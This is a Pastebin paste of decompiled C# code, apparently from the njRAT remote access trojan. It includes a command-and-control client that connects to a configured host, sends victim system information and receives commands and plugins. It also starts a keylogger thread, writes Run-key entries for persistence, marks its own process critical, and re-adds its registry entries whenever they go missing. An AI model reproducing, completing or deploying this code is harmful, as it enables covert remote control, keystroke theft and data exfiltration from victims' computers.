  997. if (array.Length > 0 && (Operators.CompareString(array[0], "Ex", false) == 0 | Operators.CompareString(array[0], "PLG", false) == 0))
  998. {
  999. OK.PLG = null;
  1000. }
  1001. try
  1002. {
  1003. OK.Send(string.Concat(new string[]
  1004. {
  1005. "ER",
  1006. OK.Y,
  1007. array[0],
  1008. OK.Y,
  1009. ex3.Message
  1010. }));
  1011. }
  1012. catch (Exception expr_C3D)
  1013. {
  1014. ProjectData.SetProjectError(expr_C3D);
  1015. ProjectData.ClearProjectError();
  1016. }
  1017. ProjectData.ClearProjectError();
  1018. }
  1019. }
  1020. }
  1021.  
  1022. public static string md5(byte[] B)
  1023. {
  1024. MD5CryptoServiceProvider mD5CryptoServiceProvider = new MD5CryptoServiceProvider();
  1025. B = mD5CryptoServiceProvider.ComputeHash(B);
  1026. string text = "";
  1027. byte[] array = B;
  1028. checked
  1029. {
  1030. for (int i = 0; i < array.Length; i++)
  1031. {
  1032. byte b = array[i];
  1033. text += b.ToString("x2");
  1034. }
  1035. return text;
  1036. }
  1037. }
  1038.  
  1039. public static void pr(int i)
  1040. {
  1041. try
  1042. {
  1043. OK.NtSetInformationProcess(Process.GetCurrentProcess().Handle, 29, ref i, 4);
  1044. }
  1045. catch (Exception expr_17)
  1046. {
  1047. ProjectData.SetProjectError(expr_17);
  1048. ProjectData.ClearProjectError();
  1049. }
  1050. }
  1051.  
  1052. public static bool Sendb(byte[] b)
  1053. {
  1054. if (!OK.Cn)
  1055. {
  1056. return false;
  1057. }
  1058. try
  1059. {
  1060. FileInfo lO = OK.LO;
  1061. lock (lO)
  1062. {
  1063. if (!OK.Cn)
  1064. {
  1065. return false;
  1066. }
  1067. MemoryStream memoryStream = new MemoryStream();
  1068. string text = b.Length.ToString() + "\0";
  1069. byte[] array = OK.SB(ref text);
  1070. memoryStream.Write(array, 0, array.Length);
  1071. memoryStream.Write(b, 0, b.Length);
  1072. OK.C.Client.Send(memoryStream.ToArray(), 0, checked((int)memoryStream.Length), SocketFlags.None);
  1073. }
  1074. }
  1075. catch (Exception expr_8C)
  1076. {
  1077. ProjectData.SetProjectError(expr_8C);
  1078. try
  1079. {
  1080. if (OK.Cn)
  1081. {
  1082. OK.Cn = false;
  1083. OK.C.Close();
  1084. }
  1085. }
  1086. catch (Exception expr_AC)
  1087. {
  1088. ProjectData.SetProjectError(expr_AC);
  1089. ProjectData.ClearProjectError();
  1090. }
  1091. ProjectData.ClearProjectError();
  1092. }
  1093. return OK.Cn;
  1094. }
  1095.  
  1096. public static bool Send(string S)
  1097. {
  1098. return OK.Sendb(OK.SB(ref S));
  1099. }
  1100.  
  1101. public static bool connect()
  1102. {
  1103. OK.Cn = false;
  1104. Thread.Sleep(2000);
  1105. FileInfo lO = OK.LO;
  1106. lock (lO)
  1107. {
  1108. try
  1109. {
  1110. if (OK.C != null)
  1111. {
  1112. try
  1113. {
  1114. OK.C.Close();
  1115. OK.C = null;
  1116. }
  1117. catch (Exception expr_37)
  1118. {
  1119. ProjectData.SetProjectError(expr_37);
  1120. ProjectData.ClearProjectError();
  1121. }
  1122. }
  1123. try
  1124. {
  1125. OK.MeM.Dispose();
  1126. }
  1127. catch (Exception expr_51)
  1128. {
  1129. ProjectData.SetProjectError(expr_51);
  1130. ProjectData.ClearProjectError();
  1131. }
  1132. }
  1133. catch (Exception expr_5F)
  1134. {
  1135. ProjectData.SetProjectError(expr_5F);
  1136. ProjectData.ClearProjectError();
  1137. }
  1138. try
  1139. {
  1140. OK.MeM = new MemoryStream();
  1141. OK.C = new TcpClient();
  1142. OK.C.ReceiveBufferSize = 204800;
  1143. OK.C.SendBufferSize = 204800;
  1144. OK.C.Client.SendTimeout = 10000;
  1145. OK.C.Client.ReceiveTimeout = 10000;
  1146. OK.C.Connect(OK.H, Conversions.ToInteger(OK.P));
  1147. OK.Cn = true;
  1148. OK.Send(OK.inf());
  1149. try
  1150. {
  1151. string text;
  1152. if (Operators.ConditionalCompareObjectEqual(OK.GTV("vn", ""), "", false))
  1153. {
  1154. text = text + OK.DEB(ref OK.VN) + "\r\n";
  1155. }
  1156. else
  1157. {
  1158. string arg_14B_0 = text;
  1159. string text2 = Conversions.ToString(OK.GTV("vn", ""));
  1160. text = arg_14B_0 + OK.DEB(ref text2) + "\r\n";
  1161. }
  1162. text = string.Concat(new string[]
  1163. {
  1164. text,
  1165. OK.H,
  1166. ":",
  1167. OK.P,
  1168. "\r\n"
  1169. });
  1170. text = text + OK.DR + "\r\n";
  1171. text = text + OK.EXE + "\r\n";
  1172. text = text + Conversions.ToString(OK.Idr) + "\r\n";
  1173. text = text + Conversions.ToString(OK.IsF) + "\r\n";
  1174. text = text + Conversions.ToString(OK.Isu) + "\r\n";
  1175. text += Conversions.ToString(OK.BD);
  1176. OK.Send("inf" + OK.Y + OK.ENB(ref text));
  1177. }
  1178. catch (Exception expr_22C)
  1179. {
  1180. ProjectData.SetProjectError(expr_22C);
  1181. ProjectData.ClearProjectError();
  1182. }
  1183. }
  1184. catch (Exception expr_23B)
  1185. {
  1186. ProjectData.SetProjectError(expr_23B);
  1187. OK.Cn = false;
  1188. ProjectData.ClearProjectError();
  1189. }
  1190. }
  1191. return OK.Cn;
  1192. }
  1193.  
  1194. public static void RC()
  1195. {
  1196. checked
  1197. {
  1198. while (true)
  1199. {
  1200. OK.lastcap = "";
  1201. if (OK.C != null)
  1202. {
  1203. long num = -1L;
  1204. int num2 = 0;
  1205. try
  1206. {
  1207. while (true)
  1208. {
  1209. IL_1B:
  1210. num2++;
  1211. if (num2 == 10)
  1212. {
  1213. num2 = 0;
  1214. Thread.Sleep(1);
  1215. }
  1216. if (!OK.Cn)
  1217. {
  1218. break;
  1219. }
  1220. if (OK.C.Available < 1)
  1221. {
  1222. OK.C.Client.Poll(-1, SelectMode.SelectRead);
  1223. }
  1224. while (OK.C.Available != 0)
  1225. {
  1226. if (num != -1L)
  1227. {
  1228. OK.b = new byte[OK.C.Available + 1];
  1229. long num3 = num - OK.MeM.Length;
  1230. if (unchecked((long)OK.b.Length) > num3)
  1231. {
  1232. OK.b = new byte[(int)(num3 - 1L) + 1];
  1233. }
  1234. int count = OK.C.Client.Receive(OK.b, 0, OK.b.Length, SocketFlags.None);
  1235. OK.MeM.Write(OK.b, 0, count);
  1236. if (OK.MeM.Length == num)
  1237. {
  1238. num = -1L;
  1239. Thread thread = new Thread(delegate(object a0)
  1240. {
  1241. OK.Ind((byte[])a0);
  1242. }, 1);
  1243. thread.Start(OK.MeM.ToArray());
  1244. thread.Join(100);
  1245. OK.MeM.Dispose();
  1246. OK.MeM = new MemoryStream();
  1247. }
  1248. goto IL_1B;
  1249. }
  1250. string text = "";
  1251. while (true)
  1252. {
  1253. int num4 = OK.C.GetStream().ReadByte();
  1254. if (num4 == -1)
  1255. {
  1256. goto Block_9;
  1257. }
  1258. if (num4 == 0)
  1259. {
  1260. break;
  1261. }
  1262. text += Conversions.ToString(Conversions.ToInteger(Strings.ChrW(num4).ToString()));
  1263. }
  1264. num = Conversions.ToLong(text);
  1265. if (num == 0L)
  1266. {
  1267. OK.Send("");
  1268. num = -1L;
  1269. }
  1270. if (OK.C.Available <= 0)
  1271. {
  1272. goto IL_1B;
  1273. }
  1274. }
  1275. break;
  1276. }
  1277. Block_9:;
  1278. }
  1279. catch (Exception expr_1B2)
  1280. {
  1281. ProjectData.SetProjectError(expr_1B2);
  1282. ProjectData.ClearProjectError();
  1283. }
  1284. }
  1285. do
  1286. {
  1287. try
  1288. {
  1289. if (OK.PLG != null)
  1290. {
  1291. NewLateBinding.LateCall(OK.PLG, null, "clear", new object[0], null, null, null, true);
  1292. OK.PLG = null;
  1293. }
  1294. }
  1295. catch (Exception expr_1EC)
  1296. {
  1297. ProjectData.SetProjectError(expr_1EC);
  1298. ProjectData.ClearProjectError();
  1299. }
  1300. OK.Cn = false;
  1301. }
  1302. while (!OK.connect());
  1303. OK.Cn = true;
  1304. }
  1305. }
  1306. }
  1307.  
  1308. public static void ko()
  1309. {
  1310. if (Interaction.Command() != null)
  1311. {
  1312. try
  1313. {
  1314. OK.F.Registry.CurrentUser.SetValue("di", "!");
  1315. }
  1316. catch (Exception expr_27)
  1317. {
  1318. ProjectData.SetProjectError(expr_27);
  1319. ProjectData.ClearProjectError();
  1320. }
  1321. Thread.Sleep(5000);
  1322. }
  1323. bool flag = false;
  1324. OK.MT = new Mutex(true, OK.RG, out flag);
  1325. if (!flag)
  1326. {
  1327. ProjectData.EndApp();
  1328. }
  1329. OK.INS();
  1330. if (!OK.Idr)
  1331. {
  1332. OK.EXE = OK.LO.Name;
  1333. OK.DR = OK.LO.Directory.Name;
  1334. }
  1335. Thread thread = new Thread(new ThreadStart(OK.RC), 1);
  1336. thread.Start();
  1337. try
  1338. {
  1339. OK.kq = new kl();
  1340. thread = new Thread(new ThreadStart(OK.kq.WRK), 1);
  1341. thread.Start();
  1342. }
  1343. catch (Exception expr_CE)
  1344. {
  1345. ProjectData.SetProjectError(expr_CE);
  1346. ProjectData.ClearProjectError();
  1347. }
  1348. int num = 0;
  1349. string left = "";
  1350. if (OK.BD)
  1351. {
  1352. try
  1353. {
  1354. SystemEvents.SessionEnding += delegate(object a0, SessionEndingEventArgs a1)
  1355. {
  1356. OK.ED();
  1357. };
  1358. OK.pr(1);
  1359. }
  1360. catch (Exception expr_105)
  1361. {
  1362. ProjectData.SetProjectError(expr_105);
  1363. ProjectData.ClearProjectError();
  1364. }
  1365. }
  1366. checked
  1367. {
  1368. while (true)
  1369. {
  1370. Thread.Sleep(1000);
  1371. if (!OK.Cn)
  1372. {
  1373. left = "";
  1374. }
  1375. Application.DoEvents();
  1376. try
  1377. {
  1378. num++;
  1379. if (num == 5)
  1380. {
  1381. try
  1382. {
  1383. Process.GetCurrentProcess().MinWorkingSet = (IntPtr)1024;
  1384. }
  1385. catch (Exception expr_14E)
  1386. {
  1387. ProjectData.SetProjectError(expr_14E);
  1388. ProjectData.ClearProjectError();
  1389. }
  1390. }
  1391. if (num >= 8)
  1392. {
  1393. num = 0;
  1394. string text = OK.ACT();
  1395. if (Operators.CompareString(left, text, false) != 0)
  1396. {
  1397. left = text;
  1398. OK.Send("act" + OK.Y + text);
  1399. }
  1400. }
  1401. if (OK.Isu)
  1402. {
  1403. try
  1404. {
  1405. if (Operators.ConditionalCompareObjectNotEqual(OK.F.Registry.CurrentUser.GetValue(OK.sf + "\\" + OK.RG, ""), "\"" + OK.LO.FullName + "\" ..", false))
  1406. {
  1407. OK.F.Registry.CurrentUser.OpenSubKey(OK.sf, true).SetValue(OK.RG, "\"" + OK.LO.FullName + "\" ..");
  1408. }
  1409. }
  1410. catch (Exception expr_227)
  1411. {
  1412. ProjectData.SetProjectError(expr_227);
  1413. ProjectData.ClearProjectError();
  1414. }
  1415. try
  1416. {
  1417. if (Operators.ConditionalCompareObjectNotEqual(OK.F.Registry.LocalMachine.GetValue(OK.sf + "\\" + OK.RG, ""), "\"" + OK.LO.FullName + "\" ..", false))
  1418. {
  1419. OK.F.Registry.LocalMachine.OpenSubKey(OK.sf, true).SetValue(OK.RG, "\"" + OK.LO.FullName + "\" ..");
  1420. }
  1421. }
  1422. catch (Exception expr_2C3)
  1423. {
  1424. ProjectData.SetProjectError(expr_2C3);
  1425. ProjectData.ClearProjectError();
  1426. }
  1427. }
  1428. }
  1429. catch (Exception expr_2D4)
  1430. {
  1431. ProjectData.SetProjectError(expr_2D4);
  1432. ProjectData.ClearProjectError();
  1433. }
  1434. }
  1435. }
  1436. }
  1437.  
  1438. [DebuggerStepThrough, CompilerGenerated]
  1439. private static void _Lambda$__1(object a0)
  1440. {
  1441. OK.Ind((byte[])a0);
  1442. }
  1443.  
  1444. [DebuggerStepThrough, CompilerGenerated]
  1445. private static void _Lambda$__2(object a0, SessionEndingEventArgs a1)
  1446. {
  1447. OK.ED();
  1448. }
  1449. }
  1450. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!